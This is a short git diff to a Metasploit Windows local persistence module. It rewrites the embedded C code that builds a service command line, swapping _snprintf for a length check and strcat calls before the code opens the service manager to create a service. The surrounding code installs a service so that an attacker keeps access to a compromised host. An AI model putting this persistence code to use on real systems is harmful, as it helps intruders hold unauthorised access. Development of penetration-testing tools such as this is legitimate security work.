diff --git a/modules/exploits/windows/local/persistence_service.rb b/modules/exploits/windows/local/persistence_service.rb index e902465f07..06cb8f6004 100644 --- a/modules/exploits/windows/local/persistence_service.rb +++ b/modules/exploits/windows/local/persistence_service.rb @@ -357,14 +357,27 @@ class MetasploitModule < Msf::Exploit::Local // Build the service command line - char cmd[MAX_PATH]; - int len = _snprintf(cmd, sizeof(cmd), "\\"%s\\" #{@start_cmd}", path); + //char cmd[MAX_PATH]; + //int len = _snprintf(cmd, sizeof(cmd), "\\"%s\\" #{@start_cmd}", path); - if (len < 0 || len == sizeof(cmd)) { + //if (len < 0 || len == sizeof(cmd)) { + // //printf("Cannot build service command line (0x%08x)", -1); + // return FALSE; + //} + + char cmd[MAX_PATH]; + + int total_len = strlen(path) + #{3 + @start_cmd.length}; + if (total_len < 0 || total_len >= sizeof(cmd)){ //printf("Cannot build service command line (0x%08x)", -1); return FALSE; } + cmd[0] = '\\0'; + strcat(cmd, "\\""); + strcat(cmd, path); + strcat(cmd, "\\" #{@start_cmd}"); + // Open the service manager hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);